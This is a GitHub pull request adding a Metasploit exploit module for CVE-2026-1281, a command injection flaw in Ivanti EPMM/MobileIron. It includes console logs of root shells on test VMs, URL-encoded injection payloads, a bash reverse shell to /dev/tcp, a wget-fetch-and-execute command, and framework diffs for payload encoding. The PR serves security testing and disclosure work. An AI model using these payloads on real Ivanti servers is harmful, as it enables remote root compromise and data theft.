Skip to content

Add exploit module for Ivant EPMM/MobileIron (CVE-2026-1281)#20932

Merged
bwatters-r7 merged 4 commits intorapid7:masterfrom
sfewer-r7:ivanti-epmm-rce
Feb 10, 2026
Merged

Add exploit module for Ivant EPMM/MobileIron (CVE-2026-1281)#20932
bwatters-r7 merged 4 commits intorapid7:masterfrom
sfewer-r7:ivanti-epmm-rce

Conversation

@sfewer-r7
Copy link
Copy Markdown
Contributor

Overview

This pull request adds an exploit module for the recent command injection vulnerability, CVE-2026-1281, affecting Ivanti Endpoint Manager Mobile (EPMM), formerly known as MobileIron. Exploited in-the-wild as a zero-day by an unknown threat actor.

watchTowr published a great analysis and PoC here, and this module is based upon that.

Example

I have a very old MobileIron 11.2 VM I tested this against.

msf exploit(linux/http/ivanti_epmm_rce) > check
[+] 192.168.86.103:443 - The target is vulnerable. Detected Ivanti MobileIron version 11.2
msf exploit(linux/http/ivanti_epmm_rce) > exploit 
[*] Started reverse TCP handler on 192.168.86.122:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Detected Ivanti MobileIron version 11.2
[*] Command shell session 1 opened (192.168.86.122:4444 -> 192.168.86.103:48404) at 2026-02-05 12:15:07 +0000

id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux mobileiron.fritz.box 3.10.0-1160.6.1.el7.x86_64 #1 SMP Tue Nov 17 13:59:11 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
pwd
/mi/bin
cat /mi/release
VSP 11.2.0.0 Build 31 (Branch core-11.2.0.0)

Comment on lines +95 to +100
begin_time = Time.now

# We use proof-of-execution in the form of a delay to confirm if a target is vulnerable.
res = execute_cmd("sleep #{sleep_seconds}")

end_time = Time.now
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Timing like this in Ruby can be a little prone to gotchas in certain edge cases but we have a "stopwatch" function to account for this.

Suggested change
begin_time = Time.now
# We use proof-of-execution in the form of a delay to confirm if a target is vulnerable.
res = execute_cmd("sleep #{sleep_seconds}")
end_time = Time.now
# We use proof-of-execution in the form of a delay to confirm if a target is vulnerable.
res, elapsed_time = Rex::Stopwatch.elapsed_time do
execute_cmd("sleep #{sleep_seconds}")
end

It may not get pulled in automatically, in which case you'll also want to add a require 'rex/stopwatch' at the top.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

added via 95da6bd

@github-project-automation github-project-automation bot moved this from Ready to Waiting on Contributor in Metasploit Kanban Feb 5, 2026
@smcintyre-r7 smcintyre-r7 moved this from Waiting on Contributor to Ready in Metasploit Kanban Feb 5, 2026
@sfewer-r7
Copy link
Copy Markdown
Contributor Author

sfewer-r7 commented Feb 6, 2026

Fetch/Encoder issues

Regarding the fetch payloads not working, I dug in and now understand the issue. It is a confluence of three things:

  1. The character / is a bad char in in the HTTP request input, so we need to add it to the payloads BadChars list.
  2. the cmd/base64 encoder is too restrictive when attempting to encode an input and throws an EncodingError even though it could encode the input correctly and not have any bad characters in the output.
  3. The fetch payload adapter creates an OS command that, on this specific version of Linux, hits a limitation in the underlying shell - an ampersand meant to background a process must have a white space before it. Currently the fetch payloads do not have a white space (probably to save one character of space) before the ampersand. This is not wrong, but for this specific target, it breaks command execution, so the fetch payloads fail to run.

The following patch address all three issues allowing fetch payloads to work successfully in the ivanti_epmm_rce module:

NOTE: I have not committed this patch to this branch as it touches two core framework things (the fetch adapter and the base64 cmd encoder). So I think we need to review and understand the implications before making any changes here.

diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb
index defe5a12db..689f1ae356 100644
--- a/lib/msf/core/payload/adapter/fetch.rb
+++ b/lib/msf/core/payload/adapter/fetch.rb
@@ -265,7 +265,8 @@ module Msf::Payload::Adapter::Fetch
 
     cmds = get_file_cmd
     cmds << ";chmod +x #{_remote_destination_nix}"
-    cmds << ";#{_remote_destination_nix}&"
+    # NOTE: Some shells expect a space character before the ampersand token (seen on an Ivanti MobileIron 11.2 device).
+    cmds << ";#{_remote_destination_nix} &"
     cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE']
     cmds
   end
diff --git a/modules/encoders/cmd/base64.rb b/modules/encoders/cmd/base64.rb
index f4f771a194..0dd8a881c6 100644
--- a/modules/encoders/cmd/base64.rb
+++ b/modules/encoders/cmd/base64.rb
@@ -39,13 +39,19 @@ class MetasploitModule < Msf::Encoder
   def encode_block(state, buf)
     return buf if (buf.bytes & state.badchars.bytes).empty?
 
-    raise EncodingError if (state.badchars.bytes & BASE64_BYTES).any?
     raise EncodingError if state.badchars.include?('-')
 
     ifs_encode_spaces = state.badchars.include?(' ')
     raise EncodingError if ifs_encode_spaces && (state.badchars.bytes & '${}'.bytes).any?
 
     base64_buf = Base64.strict_encode64(buf)
+
+    # NOTE: Rather than testing the bad chars against BASE64_BYTES, which is every potential base64 bad char, we encode
+    # our input buf and test the subset of BASE64_BYTES that are actually present. This is more opportunistic and likely
+    # to succeed when less common base64 characters like / are in the bad char list. When the input is ASCII (i.e. an OS
+    # command) rather than binary, it is less likely that the base64 output will contain a character like / or +.
+    raise EncodingError if (state.badchars.bytes & base64_buf.bytes).any?
+
     case datastore['Base64Decoder']
     when 'base64'
       raise EncodingError if (state.badchars.bytes & '(|)'.bytes).any?
diff --git a/modules/exploits/linux/http/ivanti_epmm_rce.rb b/modules/exploits/linux/http/ivanti_epmm_rce.rb
index 8353455eca..6c6b86ba1b 100644
--- a/modules/exploits/linux/http/ivanti_epmm_rce.rb
+++ b/modules/exploits/linux/http/ivanti_epmm_rce.rb
@@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote
             # Successfully tested with the following payloads against MobileIron 11.2:
             #   cmd/unix/reverse_bash
             #   cmd/unix/reverse_netcat
-            # NOTE: The Linux fetch payloads did not work on MobileIron 11.2, YMMV on later product versions.
+            #   cmd/linux/http/x64/meterpreter_reverse_tcp
             'Default', {
               'DefaultOptions' => {
                 'PAYLOAD' => 'cmd/unix/reverse_bash',
@@ -53,7 +53,8 @@ class MetasploitModule < Msf::Exploit::Remote
           ],
         ],
         'Payload' => {
-          'BadChars' => '`'
+          'BadChars' => '`/',
+          'Encoder' => 'cmd/base64'
         },
         'DefaultTarget' => 0,
         'DefaultOptions' => {

Example

If we apply the above patch we can get a meterpreter session:

msf exploit(linux/http/ivanti_epmm_rce) > exploit 
[*] Command to run on remote host: wget -qO /tmp/eYmKkpRpGaa http://192.168.86.122:8080/4Q7XHEQKEO4eBIyDE0Q3vA;chmod +x /tmp/eYmKkpRpGaa;/tmp/eYmKkpRpGaa &
[*] Fetch handler listening on 192.168.86.122:8080
[*] HTTP server started
[*] Adding resource /4Q7XHEQKEO4eBIyDE0Q3vA
[*] Started reverse TCP handler on 192.168.86.122:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] hash: sha256:kid=%31%32,st=%74%68%65%56%61%6c%75%65%20%20,et=%31%37%37%30%33%39%38%32%38%38,h=%67%50%61%74%68%5b%60%73%6c%65%65%70%20%36%60%5d
[+] The target is vulnerable. Detected Ivanti MobileIron version 11.2
[*] hash: sha256:kid=%33,st=%74%68%65%56%61%6c%75%65%20%20,et=%31%37%37%30%34%31%36%32%39%34,h=%67%50%61%74%68%5b%60%65%63%68%6f%20%64%32%64%6c%64%43%41%74%63%55%38%67%4c%33%52%74%63%43%39%6c%57%57%31%4c%61%33%42%53%63%45%64%68%59%53%42%6f%64%48%52%77%4f%69%38%76%4d%54%6b%79%4c%6a%45%32%4f%43%34%34%4e%69%34%78%4d%6a%49%36%4f%44%41%34%4d%43%38%30%55%54%64%59%53%45%56%52%53%30%56%50%4e%47%56%43%53%58%6c%45%52%54%42%52%4d%33%5a%42%4f%32%4e%6f%62%57%39%6b%49%43%74%34%49%43%39%30%62%58%41%76%5a%56%6c%74%53%32%74%77%55%6e%42%48%59%57%45%37%4c%33%52%74%63%43%39%6c%57%57%31%4c%61%33%42%53%63%45%64%68%59%53%41%6d%7c%28%62%61%73%65%36%34%20%2d%2d%64%65%63%6f%64%65%7c%7c%62%61%73%65%36%34%20%2d%64%29%7c%73%68%60%5d
[*] Client 192.168.86.103 requested /4Q7XHEQKEO4eBIyDE0Q3vA
[*] Sending payload to 192.168.86.103 (Wget/1.14 (linux-gnu))
[*] Meterpreter session 1 opened (192.168.86.122:4444 -> 192.168.86.103:54294) at 2026-02-06 09:18:15 +0000

meterpreter > getuid
Server username: root
meterpreter > sysinfo 
Computer     : mobileiron.fritz.box
OS           : CentOS 7.6.1810 (Linux 3.10.0-1160.6.1.el7.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > pwd
/mi/bin
meterpreter >

@bwatters-r7 bwatters-r7 self-assigned this Feb 9, 2026
@bwatters-r7
Copy link
Copy Markdown
Contributor

Yes, the space before the & for the fetch payloads was removed to shrink the payloads, as you expected. That was before we had the pipe fetch payloads, so space was at more of a premium.
I'd like to bring it up at module hacking, but adding back the space for better support is worth it to me because it would not affect fetch pipe payloads and those are out shortest length payloads.
The changes to base64 also make sense to me.
That said, thanks for not putting them in here, so I can land this faster! I probably won't get to it today, but I'll try to get it in before the release this week.

@sfewer-r7
Copy link
Copy Markdown
Contributor Author

Super, thanks @bwatters-r7 appreciate you reviewing the fetch/encoder suggestions. If those encoder/fetch changes do get landed at some point, we will need to update this modules BadChars and Encoder payload options.

@bwatters-r7
Copy link
Copy Markdown
Contributor

msf > use exploit/linux/http/ivanti_epmm_rce 
[*] Using configured payload cmd/unix/reverse_bash
msf exploit(linux/http/ivanti_epmm_rce) > set rhost 10.5.132.244
rhost => 10.5.132.244
msf exploit(linux/http/ivanti_epmm_rce) > set verbose true
verbose => true
msf exploit(linux/http/ivanti_epmm_rce) > check
[*] hash: sha256:kid=%32%32,st=%74%68%65%56%61%6c%75%65%20%20,et=%31%37%37%30%38%32%30%32%31%30,h=%67%50%61%74%68%5b%60%73%6c%65%65%70%20%35%60%5d
[+] 10.5.132.244:443 - The target is vulnerable. Detected Ivanti MobileIron version 11.2
msf exploit(linux/http/ivanti_epmm_rce) > show options

Module options (exploit/linux/http/ivanti_epmm_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks4, s
                                         ocks5, socks5h, http, sapni
   RHOSTS     10.5.132.244     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-met
                                         asploit.html
   RPORT      443              yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Default



View the full module info with the info, or info -d command.

msf exploit(linux/http/ivanti_epmm_rce) > set lhost 10.5.135.201
lhost => 10.5.135.201
msf exploit(linux/http/ivanti_epmm_rce) > run
[+] bash -c '0<&171-;exec 171<>/dev/tcp/10.5.135.201/4444;sh <&171 >&171 2>&171'
[*] Started reverse TCP handler on 10.5.135.201:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] hash: sha256:kid=%35,st=%74%68%65%56%61%6c%75%65%20%20,et=%31%37%37%30%38%30%39%34%34%33,h=%67%50%61%74%68%5b%60%73%6c%65%65%70%20%38%60%5d
[+] The target is vulnerable. Detected Ivanti MobileIron version 11.2
[*] hash: sha256:kid=%31%30,st=%74%68%65%56%61%6c%75%65%20%20,et=%31%37%37%30%37%39%35%30%35%31,h=%67%50%61%74%68%5b%60%62%61%73%68%20%2d%63%20%27%30%3c%26%31%31%38%2d%3b%65%78%65%63%20%31%31%38%3c%3e/%64%65%76/%74%63%70/%31%30%2e%35%2e%31%33%35%2e%32%30%31/%34%34%34%34%3b%73%68%20%3c%26%31%31%38%20%3e%26%31%31%38%20%32%3e%26%31%31%38%27%60%5d
[*] Command shell session 1 opened (10.5.135.201:4444 -> 10.5.132.244:48986) at 2026-02-10 10:30:59 -0600
pwd

/mi/bin
id
uid=0(root) gid=0(root) groups=0(root)

@github-project-automation github-project-automation bot moved this from Ready to In Progress in Metasploit Kanban Feb 10, 2026
@bwatters-r7 bwatters-r7 merged commit d330de1 into rapid7:master Feb 10, 2026
19 checks passed
@github-project-automation github-project-automation bot moved this from In Progress to Done in Metasploit Kanban Feb 10, 2026
@bwatters-r7
Copy link
Copy Markdown
Contributor

Release Notes

Adds an exploit module for the recent command injection vulnerability, CVE-2026-1281, affecting Ivanti Endpoint Manager Mobile (EPMM), formerly known as MobileIron. Exploited in-the-wild as a zero-day by an unknown threat actor.

@bwatters-r7 bwatters-r7 added rn-modules release notes for new or majorly enhanced modules docs labels Feb 10, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

docs module rn-modules release notes for new or majorly enhanced modules

Projects

Archived in project

Development

Successfully merging this pull request may close these issues.

3 participants